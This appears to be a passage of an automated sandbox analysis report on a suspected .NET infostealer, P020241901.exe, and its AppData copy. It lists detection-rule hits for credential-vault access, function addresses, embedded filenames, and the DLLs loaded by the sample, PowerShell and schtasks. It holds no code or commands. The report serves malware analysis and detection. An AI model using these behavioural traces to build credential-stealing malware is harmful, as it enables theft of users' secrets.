Source: 14.2.VKkzqGUhsZwwm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.P020241901.exe.3799000.10.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.P020241901.exe.375e5e0.11.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.P020241901.exe.375e5e0.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.P020241901.exe.3799000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

.NET source code contains very large array initializations

Source: 0.2.P020241901.exe.4e90000.13.raw.unpack, coEDuL4BIACsOV2Bcb.cs	Large array initialization: : array initializer size 18997
Source: 0.2.P020241901.exe.25a3510.0.raw.unpack, coEDuL4BIACsOV2Bcb.cs	Large array initialization: : array initializer size 18997

Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_0097DCB4	0_2_0097DCB4
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_04A96CC8	0_2_04A96CC8
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_04A90006	0_2_04A90006
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_04A90040	0_2_04A90040
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_04A96CB9	0_2_04A96CB9
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_06ED3FD8	0_2_06ED3FD8
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_06ED3768	0_2_06ED3768
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_06ED1C88	0_2_06ED1C88
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_06ED3BA0	0_2_06ED3BA0
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_06ED20C0	0_2_06ED20C0
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 0_2_06ED20B0	0_2_06ED20B0
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_02809378	9_2_02809378
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_02804A98	9_2_02804A98
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_02809B30	9_2_02809B30
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_02803E80	9_2_02803E80
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_0280CE88	9_2_0280CE88
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_028041C8	9_2_028041C8
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CCBCE8	9_2_05CCBCE8
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CC3F48	9_2_05CC3F48
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CC56D8	9_2_05CC56D8
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CC2EE8	9_2_05CC2EE8
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CC0040	9_2_05CC0040
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CC8B88	9_2_05CC8B88
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CC9AC8	9_2_05CC9AC8
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CCDDD8	9_2_05CCDDD8
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CC4FF8	9_2_05CC4FF8
Source: C:\Users\user\Desktop\P020241901.exe	Code function: 9_2_05CC3648	9_2_05CC3648
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_0251DCB4	10_2_0251DCB4
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_04BC6CC8	10_2_04BC6CC8
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_04BC0006	10_2_04BC0006
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_04BC0040	10_2_04BC0040
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_04BC6CB9	10_2_04BC6CB9
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_06B83FD8	10_2_06B83FD8
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_06B83768	10_2_06B83768
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_06B81C88	10_2_06B81C88
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_06B83BA0	10_2_06B83BA0
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_06B820B0	10_2_06B820B0
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 10_2_06B820C0	10_2_06B820C0
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_02AA9378	14_2_02AA9378
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_02AA4A98	14_2_02AA4A98
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_02AA9B30	14_2_02AA9B30
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_02AACE88	14_2_02AACE88
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_02AA3E80	14_2_02AA3E80
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_02AA41C8	14_2_02AA41C8
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_05F4DD00	14_2_05F4DD00
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_05F4BCE8	14_2_05F4BCE8
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_05F43F48	14_2_05F43F48
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_05F42EE8	14_2_05F42EE8
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_05F456D8	14_2_05F456D8
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_05F40040	14_2_05F40040
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_05F48B88	14_2_05F48B88
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_05F49AC8	14_2_05F49AC8
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_05F44FF8	14_2_05F44FF8
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 14_2_05F43648	14_2_05F43648

Source: P020241901.exe, 00000000.00000002.2000269983.000000000070E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs P020241901.exe
Source: P020241901.exe, 00000000.00000002.2018716291.0000000006C90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs P020241901.exe
Source: P020241901.exe, 00000000.00000002.2002617637.000000000375E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename9bd5bdf1-67e0-44ac-acb3-9f26dbc64b5d.exe4 vs P020241901.exe
Source: P020241901.exe, 00000000.00000002.2001137973.00000000025CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename9bd5bdf1-67e0-44ac-acb3-9f26dbc64b5d.exe4 vs P020241901.exe
Source: P020241901.exe, 00000000.00000002.2019464746.0000000007268000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekugJ.exe< vs P020241901.exe
Source: P020241901.exe, 00000000.00000002.2002617637.00000000038E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs P020241901.exe
Source: P020241901.exe, 00000009.00000002.3231223568.0000000000959000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs P020241901.exe
Source: P020241901.exe	Binary or memory string: OriginalFilenamekugJ.exe< vs P020241901.exe

Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Section loaded: kernel.appcore.dll
